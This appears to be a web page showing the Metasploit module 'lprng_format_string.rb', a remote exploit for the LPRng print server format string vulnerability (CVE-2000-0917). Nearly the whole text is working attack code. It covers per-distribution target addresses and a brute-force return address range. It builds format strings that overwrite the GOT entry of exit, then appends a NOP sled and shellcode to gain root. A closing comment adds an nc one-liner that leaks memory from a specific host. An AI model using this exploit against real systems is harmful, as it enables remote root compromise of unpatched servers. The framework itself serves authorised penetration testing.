Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/lprng_format_string.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Brute10include Msf::Exploit::FormatString1112def initialize(info = {})13super(update_info(info,14'Name' => 'LPRng use_syslog Remote Format String Vulnerability',15'Description' => %q{16This module exploits a format string vulnerability in the LPRng print server.17This vulnerability was discovered by Chris Evans. There was a publicly18circulating worm targeting this vulnerability, which prompted RedHat to pull19their 7.0 release. They consequently re-released it as "7.0-respin".20},21'Author' => [ 'jduck' ],22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2000-0917' ],26[ 'OSVDB', '421' ],27[ 'BID', '1712' ],28[ 'US-CERT-VU', '382365' ],29[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],30[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],31[ 'EDB', '226' ],32[ 'EDB', '227' ],33[ 'EDB', '230' ]34],35'Platform' => 'linux',36'Arch' => ARCH_X86,37'Privileged' => true, # root38'DefaultOptions' =>39{40'PrependSetresuid' => true41},42'Payload' =>43{44'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt)45'BadChars' => "\x00\x0a\x20\x25",46},47'Targets' =>48[49# tested OK - jjd50[ 'Caldera OpenLinux 2.3 Bruteforce',51{52'Platform' => 'linux',53'NumPops' => 243,54'FlowHook' => 0x80992d4, # GOT of exit55# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted56'Bruteforce' =>57{58'Start' => { 'Ret' => 0xcffffff4 },59'Stop' => { 'Ret' => 0x7fffe004 },60'Step' => 1661}62}63],64=begin65# untested (from public exploits)66[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',67{68'NumPops' => 299,69'Ret' => 0xbffff640,70'FlowHook' => 0xbfffee3071}72],73[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',74{75'NumPops' => 304,76'Ret' => 0xbffff920,77'FlowHook' => 0xbffff0f078}79],80[ 'RedHat 7.0 - Guinesss',81{82'NumPops' => 300,83'Ret' => 0x41424344,84'FlowHook' => 0xbffff3ec85}86],87[ 'RedHat 7.0 - Guinesss-dev',88{89'NumPops' => 300,90'Ret' => 0x41424344,91'FlowHook' => 0xbffff12c92}93],94=end95# ...96[ 'Debug',97{98'NumPops' => 1, # sure to miss.99'Ret' => 0x41424344,100'FlowHook' => 0x45464748101}102]103],104# 'DefaultTarget' => 0,105'DisclosureDate' => '2000-09-25'))106107register_options( [ Opt::RPORT(515) ])108end109110111def exploit112# we want to use DPA for this one :)113fmtstr_set_caps(false, true)114115# check syslog to see which number hits 41414141116=begin117400.times { |x|118connect119buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]120sock.put(buf)121#handler122disconnect123}124=end125print_status("Trying target #{target.name} ..")126127super128end129130131def brute_exploit(addrs)132133#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])134135printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...136num_start = printed.length + 2 + 4137138# write 'ret' addr to flowhook (execute shellcode)139# NOTE: the resulting two writes must be done at the same time140141# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)142fmtbuf = "_" * 4143fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])144#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")145146# append payload and newline147#fmtbuf << payload.encoded148fmtbuf << "\x90" * 32149fmtbuf << Rex::Text.charset_exclude(payload_badchars)150fmtbuf << "\n"151152print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])153154connect155#print_status("Sleeping, attach now!!")156#select(nil,nil,nil,5)157158sock.put(fmtbuf)159160handler161disconnect162163end164end165166167=begin168169HRM!170171The following causes info leakage!172173bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC174175There are various other ways to trigger the vulnerability. LPD uses the single-byte commands1760x01 -> 0x09...177178It's unclear if there is a way to auto-detect the lpd version via LPD commands.179180=end181182183